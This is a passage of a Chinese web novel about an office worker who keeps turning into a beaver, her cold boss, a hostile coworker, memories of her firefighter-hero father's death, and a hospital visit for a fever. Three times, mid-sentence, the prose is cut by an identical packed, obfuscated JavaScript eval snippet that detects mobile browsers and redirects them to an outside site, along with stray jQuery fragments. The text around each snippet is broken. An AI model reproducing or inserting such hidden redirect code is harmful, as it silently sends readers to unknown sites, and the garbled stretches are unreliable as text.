磕磕绊绊说完一句话后,让陈弋深吸一口气,“马桶把你冲到马达加斯加去了?” “那倒也没有,就是身体不太舒服,我得去趟医院。”徐向迩想到挂在挂钩上的挎包,抬眸看了几眼,这怎么拿回家啊。 不对,河狸能在城市里穿梭么? “我快到通道了,你从洗手间出来。” 徐向迩警铃大作,丢下挎包,从门的缝隙钻出去,抱着手机冲出洗手间,往出口的反方向跑去,“陈总,我已经出来了,马上打车去医院,你不用和我一起,陪客户更重要。” “你喘什么劲,生病了还跑?”对面那人越来越不耐烦,语速加快,“你是想让我丢下生病的员工,好给你机会去劳动局投诉我吗。” “?”徐向迩本就是个不运动的懒散社畜,平时上下跑个楼都喘,此时她还是个不知道为什么自己就变成河狸的生命状态,还抱着一块手机,她喘喘怎么了。 “陈总,我打到车了,记得下午算我是病假啊,别算缺勤!” 徐向迩挂断电话,看着四周的环境,她在商场的消防通道里迷路了,不过也幸好地方偏僻,没有人来,她把手机放在地上,想把导航翻出来。 边找边嘟囔,“哎,像我反应迅速的人还有谁啊,没有!” “也不是我说,这究竟是不是做梦啊,要是和之前做过的游戏项目一样,是进入任务系统了,那也得有提示音吧。” 她输入家庭住址,刚想点击步行按钮,就听到远处有声音传来。 “徐向迩?” 陈弋什么时候成为这么负责的上司了,竟然真的抛下其他人来找她。 她立即抱起手机,四处逃窜,却恰好撞上走过来的陈弋。 两人大眼瞪小眼,陈弋看到河狸似乎愣了两秒。 回过神,徐向迩迅速抱紧手机,用毛发遮挡住。 难得从他的脸上看到震惊与疑惑的表情,但她无心仔细研究,她可不想被抓进研究所。 漆黑的小眼睛瞥到身后的半掩着的一道门,似乎是消防楼梯,就赶紧朝那个方向冲了过去。 陈弋被它的动作吓了一跳,后撤两步,想跟过去时,看到漆黑一片没有开灯的消防楼梯,顿时停下脚步,呼吸都变得沉重。 他用手撑着墙面,在手机上搜索过号码,打了过去,“不好意思,请问是野生动物救助中心吗,这里有……呃……大概是河狸?” 徐向迩的策划案里出现过,他记得很深。 4. 荒谬 荒诞的事从他嘴里说出来,竟令躲在楼道的徐向迩有些想笑。 为什么不是变成狮子、老虎之类的,说不定可以把陈弋压在地上,然后她怒吼几声,就此解放整个策划部,让他滚回去爱继承什么公司都行。 难道是因为她许愿的缘故吗? 也不知道是奖励,还是惩罚,她看着漆黑的楼道,有些落寞。 下秒,听到陈弋吃瘪的声音,“哦,那你们就不负责地让动物在人类世界里流浪吧,算什么救助中心。” 徐向迩想都不用想,对面的工作人员该有多么无语。 哎,她还是担心一下自己吧,竟然敢挂断陈弋的电话,她可能真的完蛋了。 还把龟背竹啃断了。 这份记忆倒不如直接丢掉。 吃树枝的话,还挺省钱,徐向迩突然觉得事情也没有变得很糟,总比做人类要好。 在她想打开手机搜索河狸最完美栖息地时,陈弋又打来电话。 幸好手机是静音。 徐向迩抱着手机继续在楼道里跑,跑了不知多久后,似乎到达了清洁阿姨的休息室,偏僻无人,门口有一堆纸箱,大概是清洁工留着卖钱,角落还有一个被人丢弃的狗窝。她顶着一双漆黑的豆豆眼,看了几秒,就钻进狗窝里。 好荒谬,要怎么回家。 怎么变回来呢,变回来后,又要如何去上班和陈弋解释。 或许是刚才折腾得有些累,太过胆战心惊,徐向迩竟在这小小的狗窝上,睡着了。 …… 手机嗡嗡作响,从狗窝的边缘滑落。 徐向迩被震动声吵醒,下意识伸出手摸索手机,凭着直觉接通电话。 “喂?”她擦去嘴角的口水。 “小徐,你还在加班么?你快回来吧,你的房间被水淹了。” 徐向迩噌地跳起来,刚想说话,手机就彻底熄灭。 她看了看,原来是没有电量,手机自动关机了。 等等,她垂眸看向自己的双手和双腿,她又变回人类了。 她环顾一周,看到被她压得很扁平的狗窝,确信这一切都不是梦。 徐向迩起身,小腹的疼痛有所缓解,她凭着记忆往回走,没走几步,就遇到回来休息的清洁阿姨。 阿姨推着清洁车,一脸诧异地望着她,“哎,姑娘,你怎么在这?” “不好意思,阿姨,我走错了路了,出不去了。” 徐向迩在阿姨的带领下,她再次回到洗手间,走到里间,看到她的斜挎包还挂在墙上,顿时情绪稳定下来。 也没有很糟么。 和阿姨道谢后,徐向迩连忙原路返回,快步走出商场,却在出商场后,愣了一下。 她竟然睡了那么久,天已经全黑,整座城市灯火璀璨。 而她站在商场前,却渺小到心底发涩。 手机没有电,她翻了翻挎包,在夹层找出几个一元硬币,叹息一声,走着去公交车站。 关机也好,不必理会那些工作消息。 徐向迩仰着头,走在空阔的广场上,迎着冷风,大步向前走。 等到坐上公交车后,徐向迩才终于能歇一会。 身上的衣服蹭得脏兮兮,自己的牛仔裤也就算了,周慧的羽绒服可不便宜,看来要送去干洗。 有裂纹的手机却不用太过担心,只是钢化膜裂开,她可以回家再换上新的。 半小时后,回到她的出租屋。 房东阿姨和周围的邻居都围在她的房间前,徐向迩深吸一口气,走过去,声音清亮,“阿姨,怎么了,怎么给我打电话说房间淹了?” “哎呀,小徐,你总算回来了,怎么电话还关机了。” “不好意思啊,我在回来的路上,手机没电了,想着回来再看吧。” “你快进去看看吧。” 房东阿姨将门拉开,“楼上他喝酒喝多,开着水龙头就晕过去了。咱们这都是老房子,那么多水就漏到你家里了,他们一打电话我就过来看,但是太严重,我给你打扫了一下,可你那些东西,咱们也不好意思动,所以只止住了水。” 徐向迩进入房间,看到厕所的天花板都湿的变成深灰色。地上的水也流到外面,将地板上她的一些物品弄湿,房间太小,一览无余,于是水流到小客厅的地毯上。 那是她前段时间刚买的,特别喜欢。 幸好地上的积水并不多,房东阿姨也很快赶过来处理。 徐向迩转过身,微微扯出笑容,“辛苦阿姨了,真是谢谢,我今天加班,要是再晚点,整个房间都要淹了。” “都是邻居,没事的,没事的,你有什么需要就和我说,反正住的也不远。” 幸好徐向迩遇到的是好房东,阿姨就住在隔壁小区,是被她的儿子儿媳接过去的,旧房子也就出租出去。 “阿姨,那个楼上喝醉的邻居没事吧。” 旁边的阿姨看向她的眼神有些怜爱,都摆摆手,“没事没事,小徐你就别管那个酒鬼了,你自己住要注意安全哈。” “就是,我们就先走了,你慢慢打扫。”住在对面的阿姨将她的吸水拖把放在门口,“你先用着,用完了再还给我就好。” 将阿姨们送走,徐向迩拎着拖把进屋,将门关上,她才肩膀一松,顺着门滑落,坐在地上,看着满屋的狼藉,眼睛又忍不住发疼。 坐到屁股都有些被地板上的水沾湿,她才起身,走到客厅的柜子旁,将里面存着的酒拿出来,随便拆了罐鸡尾酒倒在杯子里喝。 喝了几口酒,徐向迩把鲨鱼夹放下,鲨鱼夹弄得她头皮都疼,随便找了个发圈将头发扎上,然后拿着拖把开始收拾房间。 她把全屋都仔细擦过,将所有湿掉的东西都堆到阳台,地毯也被拖到阳台的栏杆晾上,幸好住在一层,不需要担心楼下的邻居。 将一切收拾妥当后,徐向迩站在房间中央,伸了个懒腰。 简单清洗过身体后,她换上家居服,找出不用的衣袋,把周慧的羽绒服叠好放进去,拿过充好电的手机,在微信上告知周慧,她的外套要送去干洗。 还好与她关系最好的周慧非常理解她,聊了几句后,徐向迩瘫倒在床。 鸡尾酒的低度数,让她的身体微微发烫,她蜷缩起来,在漆黑的房间里,望向窗外。 能听到夜间旁边美食街上嘈杂的人声,她每晚都会在那些声音的陪伴下入睡,可此刻,徐向迩却有些难过。 往日只要能达到微醺,她的状态就会好转。 可今日,细碎无奈的事太多,甚至变成河狸都变成其中最无所谓的小事。 / 次日一早,徐向迩起早将地毯搬到小区的树枝间晾晒,在旁边打牌的爷爷奶奶都熟悉她,答应帮她照看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585578|171729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃过早餐,带着衣服去干洗店干洗,她才走去地铁站,再次去往公司。 到公司后,行政并没有来问她为何昨天要请假,也没有来问过她的病假条。 好奇怪,难道是陈弋他说过什么? 徐向迩拍了自己一巴掌,让自己清醒一点。 身旁的周慧目瞪口呆,“尔尔,你是不是被大魔王气疯了?” “气疯了会不会给赔偿啊。”徐向迩胡乱回话,她在翻看昨日商场人员的更改反馈,想找二组的贾于森讨论一下,却没有找到他的身影,“慧慧,小贾还没上班吗?” “好像来了啊。”周慧抬头朝二组的方向张望了一下,“喏,好像是被大魔王叫到办公室了——这不出来了。” 她往走廊的方向看了一眼,看到贾于森的身影后,想起去找他,却见他往自己这里走过来,“小贾,我正好有事要和商量一下,八号那天的MV,品牌方说要更换一下。” 贾于森却脸色阴沉,把文件夹摔到徐向迩的桌上,怒气冲冲质问,“陈总说八号的活动你亲自跟,不需要我再跟进了。徐向迩,我没想到你是这种人,这么多活动,还要来抢我这个,怪不得当初给我那么多意见。” 办公区域的鼠标和键盘的敲击声瞬间停顿,所有人的眼睛都离开屏幕,向他们的方向望过来。 徐向迩讪讪道:“小贾,你在说什么,我昨天只是替你出外勤啊……” “你别装了,你可真能,我就请假一天,你就能把活动抢走。” 徐向迩蹙着眉,没做过的事,她必然不会听别人这样污蔑自己,她也不想在别人气头上,选择继续争执,“我再说一遍,我没有抢你的项目,我去和陈总了解一下情况,等着再和你沟通。” “呵,陈总他正巧叫你进去呢,没想到你连一贯不讲人情的陈总都能拉拢,真是小瞧你了。”他上下扫了她一眼,那眼神看向女性,暗示太过明显。 为什么在这种场合,总要轻飘飘地造女性黄谣呢。 她不愿与这样的人继续争吵,徐向迩能感受到办公室里的人都在吃瓜。 她直接越过贾于森,前往陈弋的办公室。 “进来。” 听到那道冷淡声音的那刻,徐向迩调整情绪,打开门走进办公室。 “你来了。”陈弋合上文件,抬眸看过来,“妇女节的项目换你跟进。” “为什么?”她不明白为什么突然要这样,活动马上要开始,突然换人的话,所有对接人员间都要重新熟悉。 “让你做,你就做。” 鱼缸里的鱼朝着徐向迩的方向游荡,自动投喂机投下鱼食,它们也就跟着凑成一团,拼命抢夺食物。 她的后槽牙咬紧,“我不明白,陈总,你为什么要这样安排?” 陈弋怎么可能不了解这个决定会给员工之间造成多大的猜疑,甚至是组与组的良性竞争关系都会跟着改变。 虽然徐向迩也不会天真到去相信办公室内的人际关系,但最起码,她不想成为第一个炮灰。 无论陈弋想做什么。 陈弋摘下眼镜,右手撑在桌面,轻轻揉着太阳穴,目光很凉地盯着她,“我做决定要和你商量?” 徐向迩紧皱眉头,拔高声线,“既然事关我本人,那不该问一下我的意愿吗,不该判断一下我手里的项目能否在顺利完成的情况下,再给我安排新的工作吗?” 5. 紊乱 房间内陷入诡异的沉默中,徐向迩低着头,闭着眼睛。 说话的人是谁? 是不是明天她就该收拾东西滚蛋了…… 陈弋似乎被她的质疑噎住,起身扶着座椅,手指有规律地打在皮质椅背上,良久,他冷笑一声,“不然,你坐这吧,我和你好好商量一下?” 几乎是咬牙切齿的语气,令徐向迩打了个冷颤。 一定是最近来月经,她的激素分泌紊乱。 徐向迩迅速弯腰,“那个,陈总,我知道了。我会跟进这个项目的,一定认真负责!绝不让你失望。” “真的?指不定在心里怎么骂我的吧。”他走过办公桌,依靠在桌前环着手臂,挑了一下眉。 “……”职场中默认的事实,你怎么能直接说出来呢。 她被噎住,不知如何是好,只好挪了挪脚,“怎么会呢,您想多了,我——我就先去忙了,陈总,拜拜。” 徐向迩站在原地傻傻挥了挥手,而后转身飞速走到门前,却被陈弋叫住。 “你着什么急,我话说完了?” 那你怎么突然这么多话! 徐向迩深吸一口气,回身微笑,“请问陈总还有什么事?” “你病好了?” 她愣住,嘴微微张开,却一时没反应过来要回复什么。 都快忘记昨天着急乱撒的谎了。 疲惫的上班生活,让徐向迩又忘记变成河狸这件事,简直荒谬。 即便记得,又能如何,她的生活里没有魔法,反而是上天莫名撒下的诅咒,这样说都不为过。 徐向迩点点头,“好多了,谢谢陈总的关心,我不会耽误工作的。” 陈弋垂眸不知想什么,良久,抬手一挥,“那你记得去行政送病例单,别让他们找到纰漏,来找我麻烦。” “哦。”原来如此,还以为是领导突然想要人文关怀一下。 离开陈弋办公室后,徐向迩靠在墙边,盯着不远处的花盆,里面的龟背竹仅剩半截,有些惨不忍睹。 她盯着看了几秒,垂着脑袋走去茶水间,泡了杯咖啡。 贾于森似乎是看到她过来,才故意也跟着进来,他白了徐向迩一眼,和一同进来的同事阴阳道:“有些人啊,表面一套,背地一套,真的是人不可貌相。” 徐向迩举着咖啡杯的手,因用力一握,而有些颤抖,咖啡险些撒到身上,还好她稳住情绪,没有搭理他,转身想离开茶水间,却被他狠狠撞了一下。 滚烫的咖啡洒在她的胸前,虽是毛衣较厚,可徐向迩还是“嘶”地一声,衣下的皮肤有灼烧的感觉,顾不得其他,她放下咖啡,跑去洗手间。 到洗手间后,徐向迩忍着疼痛,将毛衣脱下,对着镜子一看,有部分咖啡泼在内衣上,皮肤并没变红,可内衣没有遮盖的部分皮肤,已经大面积泛红。 她走到洗手池,俯下身,打开水龙头用冷水冲洗。三月气温并不高,公司的水龙头也不会有温热的水,冰冷的水落在胸前,让徐向迩的身上起着鸡皮疙瘩,她忍不住抬头看了一眼镜子,里面的人咬着唇忍痛,却不知道自己是在忍什么。 手指冲到都发红时,徐向迩按停水龙头,给周慧发了消息,让她帮忙把自己放在桌子下的换洗衣服送到洗手间。 没过一分钟,周慧就冲进洗手间,把衣服递到隔间里,隔着门问,“尔尔,你怎么了?” ”没什么,不小心把咖啡洒到身上了。” “没烫到吧?” “没有,没有。”徐向迩将衣服穿上,声音发涩,“谢谢啦,我先上个厕所,等会出去了,给你买奶茶,这几天真的麻烦你了。” 不止是借她外套穿,之前每次中午加班,周慧也会帮她买饭。 在这个算不上温暖的公司里,周慧已经算是很好的人,起码对待徐向迩是。 “好,那你先上吧,我得去和客户打电话。”周慧停顿片刻,又补充道,“尔尔,你别把贾于森那个狗的话放在心上,他每天那么懒散,每次做新项目都过来问你的建议,简直就是农夫与蛇,我们都明镜着呢。” “……嗯,我知道,没事的。” 待周慧离开后,徐向迩终于忍不住落下廉价的眼泪。 明明算不了什么的。 可是爸爸,为什么每次到你的祭日前后,我都会变得倒霉起来。 她想不明白,自己到底是为了什么而活。 每天吃着廉价的食物,说着廉价的话语,住着廉价的出租房,徐向迩明明已经平静度过了那么多年,以为已经不会再落下眼泪,可却还是会疼。 目光并不是因眼泪而模糊,而是瞬间缩小后,视线突然晃动而片刻模糊。 又又又变成河狸了。 都说发生什么事三次就可以看出规律,徐向迩却摸着自己软乎乎的肚子发愁,根本找不出规律。 好荒唐!这可是白天!而且是在公司里,她这次要怎么躲啊,还有一下午要度过呢…… 也可能是礼物,因为烫过的感觉已经消失,每次到河狸状态,原本的痛感就会消失。 徐向迩在洗手间坐了一会,思考一会,她是真的不能再请假了,而且上次起码是出外勤,现在在公司里她要说什么。 但也不能苟在洗手间里,逃出去也不太可能,她够不到感应门的开关。她只好决定趁着中午吃饭的时间,悄悄溜到仓库里,然后和陈弋说自己去商场检查进度。 合理,河狸! 在洗手间刷了不知多久的手机后,终于到达中午十二点。 徐向迩走出隔间,四处一望,往洗手台跑去,将垂下来的毛衣勾下来,披在身上。 悄悄从洗手间探出河狸脑袋后,徐向迩呼噜呼噜跑到休息室的盆栽旁,查看走廊旁有没有人停留。 探出头的那刻,头顶有植物的树叶蹭到她毛茸茸的脑袋,徐向迩抬眸,看到那株不知叫什么的植物,又瞥了眼走廊尽头的摄像头。 想吃…… 应该没事吧,她现在只是一坨正在移动的衣服,况且那摄像头都不一定能照到这里,公司毕竟还是需要摄像死角的。 徐向迩踮起脚,脚蹼不稳,令她小小的身躯一晃,幸好咬到了叶子,一口咬下后,她连忙跑着去走廊尽头。 仓库!仓库! 到仓库门口时,徐向迩才想起一件事,仓库门平日都是关着的,她根本碰不到。 豆豆眼眨着眨着,下意识躲在一旁的纸箱旁,她看了几眼上面的字,大概是下午活动要用的物品,提前从仓库拿出来了。 但哪怕站在纸箱上,她也无法碰到门把手。 可恶,偏偏是河狸幼崽,还拖着一个并不实用的尾巴。 难道是在水里更便利? 变成河狸的话,不会游泳的她,会不会突然会游泳啊。 思绪走向涣散时,突然有两位其他组的同事走过来,徐向迩连忙猫在纸箱旁,不断默念,看不见我,看不见我。 可能是刚刚吃过饭,两位同事的注意力也不集中,将仓库门推开后,边往里走边聊天。 “哎,上午我去和客户聊设计内容,正好陈总也在,他好像下午要出去应酬。” “真的假的,那他就不会突然出现在办公室里了,我每次都有种高三上晚自习的感觉。” “谁说不是呢,我工作这么多年,我真觉得他这个领导,是我见过最严厉,最可怕的。” “哎,谁让我们是打工的人呢,哪有人家有背景有底气。”说话的人停顿片刻,“那趁着他下午不在,要不要来一把王者爽爽?” “成啊,不然回家还要看孩子,都好几天没玩了。” 两人又搬出两个大纸箱,其中一位在把门关上,瞥了眼远处的拐角,明明有奇怪的东西闪过,他紧着眉头,歪头说,“我晕碳了,快回工位吧,赶紧睡午觉。” “行,先把东西搬下去吧,楼下还在等呢。” 正午,办公室里的同事们都在大厦的餐厅用餐,少数点外卖的人也会在专门的房间用餐,所以办公区域鲜少有人。 而在无人注意的角落里,有一坨衣服,悄悄移动到部门经理的办公室旁,将一旁沉重的盆栽轻轻挪动。 幸好大盆栽下都有万向轮,这颗枝干较粗的黄金榕恰好在陈弋办公室旁,徐向迩鬼鬼祟祟爬上去后,把他的办公室门打开,悄悄把盆栽移回原位,而后溜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585579|171729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进了办公室。 只要人胆大。 徐向迩环顾一周,寂静的办公室里只有游动的天使鱼,她心下一松,抓着沙发角爬了上去,坐上去后,发现皮质沙发被她抓出一道划痕,漏出里面的夹层。 …… 陈弋,他真的会杀了我。 徐向迩窝在沙发一角,盯着沙发的伤痕,瑟瑟发抖。 冷静,冷静。 她必须尽快理清现在的状况。 不然万一下次当着众人的面突然变身成河狸,那可如何是好。 徐向迩翻开手机,找到备忘录,开始梳理目前的信息。 第一次,暴雨天,晚上十一点,办公室,许愿,在休息室睡着醒来后变成人类。 第二次,晴天,上午十一点左右,商场洗手间,自言自语,在狗窝睡着没过几小时变回人类。 第三次,晴天,上午九点左右,办公室洗手间,什么也没干,还没有变回人类…… ? 徐向迩虽然没有找到变身的规律,但她发现似乎睡着后,就会变回人类! 她可以借着这次机会,实验一下。希望陈弋今天不回公司,能让她在这里睡一觉。 哎……可是究竟是为什么才会变成河狸呢。 哪怕是她的生日愿望成真,但也需要触发点的吧。 徐向迩缩在角落,紧紧蜷缩起来,怀里还抱着刚刚顺带咬下的树枝。 好饿,还是好饿,虽然脑子里想的是麻辣烫,可是为什么树枝吃起来也挺美味。 “会不会有一天就变不回来了?” “可我还想吃小区门口的烤冷面,还想和柔柔一起去新疆旅行,还想要……” 啃了几口树枝后,或许是折腾得有些累,在公司变成河狸穿梭,简直太过骇人听闻,徐向迩只是看起来淡定而已。 她迷迷瞪瞪过要睡过去,尾巴垂在边缘,后脚无意识抽动了一下。 “爸爸,好像该去看看你了……” 如果你还在的话,会不会一切都不一样。 / 徐向迩的下班闹钟嗡嗡响起,她感受到震动,挣扎着醒来,摸索到手机,将闹钟关上。 她哼哼唧唧地起身,随着她的动作,那沾上咖啡的毛衣从身上滑落,她下意识去捡,却看到有只手伸过去,已经帮忙拿起。 骨节分明,纤细修长的手抓着毛衣,那半挽着黑色衬衫的手臂,露出明显的青筋。 徐向迩吞咽了下口水,不是因为馋,单纯因为恐惧。 她噌地就起身,让坐在茶几上的陈弋吓了一跳,稍微后仰,蹙着眉,“做什么,脑子抽了?” 徐向迩退到一旁,直接弯腰鞠躬,磕磕绊绊地解释,“不好意思,陈总,我……我来办公室是因为关于项目的进度,有事要汇报,等着等着不小心睡着了,真是不好意思,非常不好意思!” 好蹩脚的理由,谁会相信啊。 “我有说什么吗?”陈弋瞥到沙发上的树枝,眼底闪过疑惑,瞬间又消失不见,朝着她伸出手。 她歪头不解,“什么……什么意思啊,陈总?” “不是汇报进度?文件呢?” “啊——”徐向迩摸了摸后颈,“我好像忘记拿了。” “?”陈弋的手指敲着茶几的玻璃,抬眼看着她,眼底晦暗不明,“确定不是看上我的沙发了,专门趁我不在来偷懒?” “不是,我哪敢啊。”徐向迩低着头,她是真该死啊。 “那你怎么知道我会回来的?”他环着手臂,饶有兴致地听她解释。 冷汗都已经要浸透她的衣服,徐向迩直接说瞎话,“那还不是因为陈总您敬业嘛,哪怕是出勤,也肯定会回来一趟。” 假的,据可靠消息,陈弋下班后待在办公室,只会是为了喂鱼。 她偷摸翻了个白眼,幸好没有被他发现自己会变成河狸的事,要是被陈弋发现,她也不用活了,直接嘎巴去世好了。 “别废话,拿着新MV来给我看。” “好的,收到。”徐向迩猛地起身,低着头太久,脖子都酸了。 她刚想转身离开,却突然眼前一晃,天旋地转。 6. 发烧 徐向迩十二岁生日的那天,她早早就放学回到家里,等待下班的父亲徐鸣。 他答应把正在进行的案件收尾后,就带着生日蛋糕回家给她过生日。 是的,没错,徐向迩的爸爸是江禾市刑侦大队的队长。 由于工作性质,父女俩哪怕是住在同一屋檐下,也很少能见到面。 况且,她的母亲在她出生时就因大出血过多而去世,所以,徐向迩是在亲戚邻居的照看下长大的,她是个很独立的人,也理解爸爸的工作。 但过生日的话,小孩还是希望有父母陪伴的。 徐向迩太期待徐鸣会送自己什么礼物,每年他都会变着花样哄自己开心。徐鸣送过她喜欢的明星的周边,也送过一些手镯项链,很大的可能性是警局里的那些警察阿姨们给予他的建议。 不过徐向迩也没有太挑剔,只要是爸爸送的都好。 就这样,徐向迩等到晚上九点,她写完作业后,就一直坐在电视机前等待,那天是个周六,电视机里播着她很爱的综艺节目,可她却无心观看。 她反复看向时钟,心里有着某种莫名的不安感,心慌到心跳都震耳。 可是命运却依旧没有放过徐向迩。 在她出生的那天,母亲的生命被夺走,在许多年后,她十二岁生日的那天,命运又同样夺走了父亲的生命。 徐向迩等到晚上十点时,门外有人敲门,回来了! 爸爸从来不会忘记带钥匙,或许是什么惊喜? 她连忙跑去开门,却在开门的瞬间面如死灰,屋外站着的是徐鸣的两个徒弟,一男一女哭得眼睛肿胀。 女警察进来抱住徐向迩,落下的眼泪,流进她的后颈。 徐向迩缓慢眨了几下眼,感到浑身发冷,她整个人都麻木着,感知不到外界的存在。 丧失反应的她被拉到警局,那些平日里特别照顾她的警察们,都不敢抬眼看她,都在扭头抹泪,局长伯伯拦着她,不让她去看父亲最后一眼。 徐向迩内心执拗地想去找爸爸,不顾阻拦,还是冲进停尸间。 房间内的台面上有具蒙着白布的尸体,她抓住白布一角,想看上一眼,却在看到尸体手臂的那刻,就被一旁站在一旁的舅舅舅妈拦住。 “尔尔,别看了,别看了。没事的,舅舅还在的,不怕不怕。” 徐向迩没能再靠近父亲,她被抱出停尸间,可再远离,他们也无法把她的记忆抹去。 那手臂被烧到焦黑的人,是徐鸣。 毕竟自己的父亲是刑警,她也多少了解过一些。 被烧死已经是太过痛苦的死法。 从那以后,徐向迩梦到无数次爸爸在火中烧死的情景。 爸爸在火中燃烧,而她就站在不远处,拼命想冲进去,想冲进去去质问。 他为什么要在她生日那天,拼命去救一个陌生孩子,然后自己的孩子没有了父亲。 理智上认可,但在生活的隙缝里,徐向迩只有讨厌他,才能持久地活下去。 / “不要,不要死好不好……爸爸……” 徐向迩从噩梦中醒来,脸颊两侧落下眼泪,她习以为常,想抬手抹去,手却被人箍住,她才吓得身体陡然清醒过来。 怎么会又睡过去了,头好痛。 嘈杂不堪的医院急诊大厅,哭闹不止的小孩,刺鼻的消毒水味。 还有按住她手臂的那只手的主人,她眨着湿漉漉的眼睫,探了一眼。 陈弋冷着脸,黑框眼镜下的那双眼睛似有些不悦,微凉的手指制止她的动作后,立即收回。 “在输液,别乱动。” 他见徐向迩已经清醒,将笔记本电脑放到一旁,起身拿起柜子上的体温计,轻甩几下,倾身过来,把体温计递给她。 她分不清状况,但还是下意识接过,小心翼翼询问,“陈总,我怎么了?” “怎么了?三十九度高烧不退,直接晕过去了。”陈弋垂眸,按了下镜框,嗤笑,“徐向迩,你不会是故意晕在公司的吧。” “?”这领导是真恶毒,徐向迩闭上眼,把体温计塞进腋下,“陈总,你其实可以直接丢下我的,怎么还陪着我输液……” “怕你死,警察找我问话。”陈弋见她已经在量体温,转身把保温杯的水倒出来些,“快喝点水。” 躺在病床上的徐向迩看着他拿着的保温杯杯盖,上方仿佛升起热气,她眼睛一热,这人怎么如此毒舌,却又…… 只能看他做了什么,说了什么话最好别听。 虽然是个不近人情的人,可作为上司,能这样对待她这个下属已经足矣。 毕竟最近她做了那么多能被直接开除的事。 她指了指体温计的位置,抬抬手表示自己不太能喝水,“我等会——” “想我喂你?还是给你找个吸管?”他转身就拿出个吸管,插进去,不耐烦地放到她嘴边,“嗯,挺幸运,买保温杯时正好有吸管。” “……”那您是非得嘴我两句才开心是吗。徐向迩吞咽几口水,“谢谢,陈总。” “不客气。”陈弋唇角不易察觉地一勾,将杯子放下,站着等了一会,伸手示意她把体温计拿出来,她乖乖照做。 虽然身体在发烫,意识也不清醒,但她依旧有下属的本能,莫名胆怯。 陈弋看了两秒体温计,“嗯,三十八度。”而后低头看向她,“还有一瓶就打完,要吃什么吗?” “不不不,不用您给我买饭了,我回家再吃。”徐向迩拿出体温计后,就支起身倚靠着墙,手疯狂摆动,输液的手无意识蜷缩起来,感受到痛意又瞬间张开。 他看到她的动作,蹙起眉头,“……我说的是点外卖。” “那也不用了,我没什么胃口。”徐向迩想到梦里那焦黑的尸体,咬了咬唇,敛眸掩饰情绪。 “嗯。”大抵是看她情绪明显不好,陈弋也就坐在旁边继续处理公务。 可是,徐向迩却浑身不自在。 也该让他离开了吧,犹豫半响,她还是问出口,“陈总,都已经这么晚了,我已经好多了,您要不还是先回去吧。” 他停下敲击键盘的动作,瞥了她一眼又再次看向电脑屏幕,“你应该在晕倒前告诉我,这样我帮你打个救护车,转身就能回家了。” “……”徐向迩张嘴又闭嘴,睁眼又闭眼,她还是闭麦吧。 “所以老实打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585580|171729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 针。” “哦,谢谢陈总。” 在不知道和蒋柔在微信吐槽多少句后,徐向迩终于打完吊瓶,她看着账单两眼一黑。 发个烧而已,又不是要死人了,怎么那么贵! “嘀嗒”一声,付款的声音从身边传来。 陈弋把药扔过来,药砸在前面的台面上,徐向迩立即清醒过来,捞起药袋就追上他,“陈总,陈总,我等会就把钱转给你,那个医保,我是没搞懂,才耽误付款了。” 不是故意让你付的,她突然有些委屈,他方才毫不犹豫地付款,有一点点伤到她。 可她不是不识好歹的人。 直到坐上他的车,徐向迩扣上安全带,立马翻开手机给他转账,她思考半响,把备注改成“感谢领导照顾。” 想了想,不太符合她的职场人设,还是不要太谄媚,以免有更多脏活累活堆到她身上,最终还是直接转账过去了。 “陈总,我把吊瓶钱转给你了,你记得收啊。”徐向迩侧过头,嘴角扬起。 陈弋看到她手背上青色的血管,又移开目光,打开地图,“家在哪,输入导航。” “哦哦,好的好的。”徐向迩输入导航后,也不知道该说什么。 她不该与陈弋有太多交集,他们是截然不同的人。 陈弋是绝不喝速溶咖啡,绝不去公司餐厅吃饭的人,他总是独来独往,却并非是被大家排挤在外,而是或许他本身就是误入到他们的世界,早晚会回去。 所以当陈弋站在她所住的楼前,忽闪忽闪的楼道灯在两人上方闪烁,身后的楼梯就像是宇宙深渊,让徐向迩有些恍惚。 她站在台阶上,“谢谢陈总送我回家,麻烦了。” “徐向迩,你是复读机吗?”陈弋看了看周围的环境,有些晦暗,“明天不用去公司,我会帮你请假。” “不不不用,陈总,这不是什么大病,我明天会去的。” “你想再昏倒一次?” “不会的,一晚上就好了,我不能再请假了。”徐向迩捏了捏药袋,塑料袋发出窸窸窣窣的声响,“陈总,我前天已经请过一次假,我这个月全勤已经没了,我不能再没有明天的工资……” 她每个月发下的工资都会有具体分配,已经少下一部分的全勤奖,徐向迩决不允许自己再请一次假。 虽然她并不是积极上进的社畜,只求摆烂,但她也需要钱,特别需要。 她想要一个楼道灯再也不短路的家。 属于自己的家。 陈弋站在明亮的地方,面露疑惑,“所以,你是要为了工资硬撑着去上班?” 徐向迩噌地一下,直接被激怒,压抑着怒气,“不值得吗?” 